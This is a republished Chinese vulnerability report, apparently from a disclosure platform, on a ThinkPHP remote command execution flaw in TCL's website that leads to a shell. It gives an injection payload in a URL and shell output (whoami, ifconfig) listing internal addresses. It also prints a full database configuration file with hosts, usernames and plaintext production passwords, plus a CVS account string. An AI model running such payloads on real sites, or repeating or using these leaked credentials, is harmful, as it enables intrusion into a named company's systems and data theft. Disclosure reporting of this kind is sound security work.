来源:自学PHP网 时间:2015-04-16 23:15 作者: 阅读:次
[导读] TCL官网命令执行导致getshell1 主站命令执行是thinkphp的命令执行漏洞,这么久了还没修复,维护人员该打pp了http: www tcl com new 1735 html abc abc abc ${@phpinfo()}直接http: www tcl com new 1735 htm...
TCL官网命令执行导致getshell 1. 主站命令执行 内网信息 [/var/www/html/tcl/]$ whoami apache [/var/www/html/tcl/]$ ifconfig eth0 Link encap:Ethernet HWaddr 00:1B:21:BA:99:B0 UP BROADCAST MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 b) TX bytes:0 (0.0 b) eth1 Link encap:Ethernet HWaddr 00:1B:21:BA:99:B2 UP BROADCAST MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 b) TX bytes:0 (0.0 b) eth2 Link encap:Ethernet HWaddr 40:F2:E9:29:38:D2 inet addr:10.4.22.72 Bcast:10.4.255.255 Mask:255.255.0.0 inet6 addr: fe80::42f2:e9ff:fe29:38d2/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:291345943 errors:0 dropped:0 overruns:0 frame:0 TX packets:420280104 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:56145622678 (52.2 GiB) TX bytes:489393736613 (455.7 GiB) Memory:91580000-915a0000 内网敏感信息泄漏 <?php switch($_SERVER["HTTP_HOST"]) { case "localhost:8080": { //本机 $db_host = "localhost"; $db_name = "tcl"; $db_user = 'root'; $db_pass = 'root'; $db_name_en = "tcl_en"; $cache_type = "File"; $url_model = 2; $html_cache = false; $temp_my_cache = false; break; } case "10.4.21.23": { //测试 $db_host = "10.4.21.20"; $db_name = "tcl"; $db_user = 'tcladmin'; $db_pass = '123456'; $db_host_en = "10.4.21.20"; $db_name_en = "tcl_en"; $cache_type = "File"; $url_model = 2; $html_cache = false; $temp_my_cache = false; break; } case "10.4.21.24": { //测试2 $db_host = "10.4.21.20"; $db_name = "tcl"; $db_user = 'tcladmin'; $db_pass = '123456'; $db_host_en = "10.4.21.20"; $db_name_en = "tcl_en"; $cache_type = "File"; $url_model = 2; $html_cache = false; $temp_my_cache = false; break; } case "10.4.22.72": { //正式 $db_host = "10.4.22.71"; $db_name = "tcl"; $db_user = 'tcl_admin'; $db_pass = 'zpw@8b!gurvu'; $db_host_en = "10.4.22.71"; $db_name_en = "tcl_en"; $cache_type = "File"; $url_model = 2; $html_cache = false; $temp_my_cache = false; break; } case "10.4.22.73": { //正式2 $db_host = "10.4.22.71"; $db_name = "tcl"; $db_user = 'tcl_admin'; $db_pass = 'zpw@8b!gurvu'; $db_host_en = "10.4.22.71"; $db_name_en = "tcl_en"; $cache_type = "File"; $url_model = 2; $html_cache = false; $temp_my_cache = false; break; } default : { //正式 $db_host = "10.4.22.71"; $db_name = "tcl"; $db_user = 'tcl_admin'; $db_pass = 'zpw@8b!gurvu'; $db_host_en = "10.4.22.71"; $db_name_en = "tcl_en"; $cache_type = "File"; $url_model = 2; $html_cache = false; $temp_my_cache = true; break; } } ?>
:sspi:mars.ho@source.loko-asia.com:2401/cvsdata
1. 升级 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com